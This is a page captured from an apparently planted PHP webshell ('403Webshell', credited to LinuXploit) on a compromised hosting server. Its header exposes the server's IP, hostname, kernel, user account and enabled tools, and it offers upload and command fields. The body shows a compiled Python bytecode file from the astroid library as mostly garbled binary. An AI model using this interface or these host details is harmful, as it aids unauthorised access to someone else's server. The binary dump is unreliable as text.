403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.21.114.165
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib/python3.11/site-packages/astroid/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib/python3.11/site-packages/astroid/__pycache__/inference_tip.cpython-311.pyc
�

��bgH���UdZddlmZddlZddlmZddlZddlmZm	Z	ddl
mZddlm
Z
mZiZded	<dd�Zejdd���Zddd�ZdS)z,Transform utilities (filters and decorator).�)�annotationsN)�Iterator)�InferenceOverwriteError�UseInferenceDefault)�NodeNG)�InferenceResult�InferFnz:dict[tuple[InferFn, NodeNG], list[InferenceResult] | None]�_cache�return�Nonec�8�t���dS)zClear the inference tips cache.N)r
�clear���f/builddir/build/BUILD/cloudlinux-venv-1.0.7/venv/lib/python3.11/site-packages/astroid/inference_tip.py�clear_inference_tip_cachers��
�L�L�N�N�N�N�Nr�funcr	�instance�args�
typing.Any�kwargs�Iterator[InferenceResult]c���|d}	t||f}|�t���nA#t$r4dt||f<t||i|����x}t||f<|sJ�YnwxYwt	|��S)z(Cache decorator used for inference tips.rN)r
r�KeyError�list�iter)rrrr�node�results      r�_inference_tip_cachedrs���
��7�D�	���d�
�#���>�%�'�'�'�������!��t�T�z��&*�4�4��+@��+@�+@�&A�&A�A����d�
�#��
�
�v�
�
�������<�<�s�*�;A(�'A(F�infer_function�raise_on_overwrite�boolc���|fd�fd�
}|S)a�Given an instance specific inference function, return a function to be
    given to AstroidManager().register_transform to set this inference function.

    :param bool raise_on_overwrite: Raise an `InferenceOverwriteError`
        if the inference tip will overwrite another. Used for debugging

    Typical usage

    .. sourcecode:: python

       AstroidManager().register_transform(Call, inference_tip(infer_named_tuple),
                                  predicate)

    .. Note::

        Using an inference tip will override
        any previously set inference tip for the given
        node. Use a predicate in the transform to prevent
        excess overwrites.
    rrr r	rc����r:|j�3|j|ur*td�||j|������t|��|_|S)NzbInference already set to {existing_inference}. Trying to overwrite with {new_inference} for {node})�existing_inference�
new_inferencer)�_explicit_inferencer�formatr)rr r!s  �r�	transformz inference_tip.<locals>.transformCsu����	��(�4��(��>�>�)�F�FL�f�'5�"&�":��GM�G�G���
�$9��#H�#H�� ��r)rrr r	rrr)r r!r)s ` r�
inference_tipr*-s4���,;I��������$�r)rr)
rr	rrrrrrrr)F)r r	r!r"rr	)�__doc__�
__future__r�typing�collections.abcr�wrapt�astroid.exceptionsrr�
astroid.nodesr�astroid.typingrr	r
�__annotations__r�	decoratorrr*rrr�<module>r5s���
3�2�2�"�"�"�"�"�"�
�
�
�
�$�$�$�$�$�$�����K�K�K�K�K�K�K�K� � � � � � �3�3�3�3�3�3�3�3�EG��G�G�G�G�����
��������$(�(�(�(�(�(�(r

Youez - 2016 - github.com/yon3zu
LinuXploit